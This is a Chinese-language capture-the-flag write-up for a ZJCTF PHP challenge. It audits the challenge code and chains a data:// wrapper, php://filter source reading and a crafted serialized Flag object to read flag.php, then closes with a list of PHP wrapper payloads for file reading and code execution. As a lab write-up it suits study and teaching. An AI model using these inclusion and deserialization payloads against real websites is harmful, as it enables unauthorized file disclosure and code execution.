打开一看
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
代码审计走起,一步一步分析,首先是这里
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
首先判断text是否传进来,并且传进来的参数是否等于welcome to the zjctf,这时我们就可以利用data伪协议进行文件php文件执行,(data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。)
这里就可以构造
?text=data://data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
d2VsY29tZSB0byB0aGUgempjdGY=这时为了绕过一些过滤在这里将传入的值给base64编码了一下
if(preg_match("/flag/",$file)){
echo "Not now!";//首先正则匹配一下是否存在flag,如果有就报错退出
exit();
}else{
include($file); //useless.php(这里提示了一个useless.php文件,这里用php://filter读取一下)
$password = unserialize($password);
echo $password;
}
}
因为有过滤不能直接读,那就用base64编译一下构造payload,来看看useless.php里有什么
file=php://filter/read=convert.base64-encode/resource=useless.php//注意于上一传参之间用&链接
得到一串base64编码的代码
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
解码后得到代码
<?php
class Flag{ //flag.php (终于找到关于flag的提示了)
public $file;
public function __tostring(){ //如果这个魔法函数被执行
if(isset($this->file)){ //就会执行这些
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
联想到上边的代码
$password = unserialize($password);
首先将password的传参序列化一下,之后通过unserialize在反序列化出来,经过flie的传参到uesless.php页面使_tostring执行从而得到flag,下面开始构造序列化的数组
<?php
class Flag{ //flag.php (终于找到关于flag的提示了)
public $file="flag.php";
public function __tostring(){ //如果这个魔法函数被执行
if(isset($this->file)){ //就会执行这些
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
把这个在本地执行一下,得到
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} ?>
这里也没有wakeup什么的也就不存在什么绕过,所以直接构造
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
所以最终的payload就是
?text=data://data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
之后查看源码得到flag
最后补充几个关于伪协议常用的payload,包括读文件和php代码执行
1.?file=data:text/plain,<?php phpinfo()>
2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
3.?file=php://input [POST DATA:]
4.?file=php://filter/read=convert.base64-encode/resource=xxx.php